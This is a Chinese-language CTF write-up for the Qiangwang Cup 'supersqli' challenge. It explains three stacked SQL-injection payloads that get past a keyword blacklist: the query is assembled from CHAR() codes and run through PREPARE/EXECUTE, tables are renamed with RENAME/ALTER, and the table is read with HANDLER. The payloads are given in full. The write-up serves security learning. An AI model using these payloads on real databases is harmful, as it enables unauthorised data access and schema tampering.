强网杯_supersqli一题三解


前言

啊因为各种各样的事情,咕了好久,现在我又回来了,虽然因为懒依然不会很频繁的更新,咕咕咕,这个文章很久之前就想写了,现在有空了感觉补一下(也就晚了几个月,还好吧)

正式开始

信息收集

这个题目十分的简洁,也没有可以获得源码的地方,我们随意的fuzz一下,可以先发现三个点

  1. 我们可以单引号闭合这个语句
    1.png
  2. 我们得到了黑名单
    2.png
  3. 存在堆叠注入,我们可以获得表名等
    3.png

第一种解法

我们先进行知识的介绍。

  1. prepare语句,他有三个基本语法

    1
    2
    3
    4
    5
       PREPARE stmt_name FROM preparable_stmt;

    EXECUTE stmt_name [USING @var_name [, @var_name] ...];

    {DEALLOCATE | DROP} PREPARE stmt_name;

    这三个语句分别的意思是:

    1. 把预处理的语句preparable_stmt赋值给变量stmt_name
    2. 执行预处理的语句,若其中有(即有空缺),则使用后面的变量来进行顺序填补
    3. 取消对变量的预处理语句的赋值
    1
    2
    3
    4
    5
    6
    PREPARE test FROM 'select * from users order by ?';

    set @pf = 'name';

    EXECUTE test USING @pf;
    #即执行了 select * from users order by name;

    char()函数,语法CHAR(N,... [USING charset]),即将括号内的数字用,分割,而且可以使用'number',这个时候,就会取整,依然会进行转换。但是这里要提到一点,由char函数转化出来是作为字符串处理的,因此也就导致了,即使通过这个方式组合出了绕过waf的SQL语句,也因为是字符串而无法执行。这时候就可以通过PREPARE来将字符串转变为合法的语句,来执行。

    1
    2
    3
    4
    payload:
    inject=1';set @test=concat(CHAR(115,101,108,101,99,116,32),CHAR(102,108,97,103,32),CHAR(102,114,111,109,32),CHAR(96),1919810931114514,CHAR(96));prepare test from @test;execute test;

    即执行的语句是 select flag from `1919810931114514`;

    4.png

第二种解法

在正常的情况下,我们的sql语句是写死在文件里,所以我们就从那个特定的数据库,选取特定的语句,来进行我们的查询,但是如果我们可以修改数据表的名字,这样我们就可以在后端的sql语句处理不变的情况下,得到其他表的数据了。

我们从堆叠注入出来的两个表名,很容易发现,我们实际上现在在使用word这个表名,即sql语句为select * from words where inject = $inject那么如果words变成了flag所在的表,那不就可以直接获得flag了

先来熟悉语句

1
2
3
有两种语句
ALTER TABLE old_name RENAME TO new_name;
RENAME TABLE old_name TO new_name;

1
2
3
4
payload:
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

/?inject=1

第三种解法

无敌的文档法,简单的说就是黑名单总会有漏洞的,因此文档之中我们找到了可以不使用select的读取数据表内内容的方法。

那就是非标准SQL语法的Handler语句

1
2
3
HANDLE语句提供了直接访问存储引擎的接口。对于innodb和myism表都是可用的。

HANDLER ... OPEN语句会打开一个表,使其能够用后续的HANDLER ... READ语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE或会话关闭

那么这里我们就可以直接读取了

1
2
3
payload:
handler 1919810931114514 open;
handler 1919810931114514 read first;//读取第一条

5.png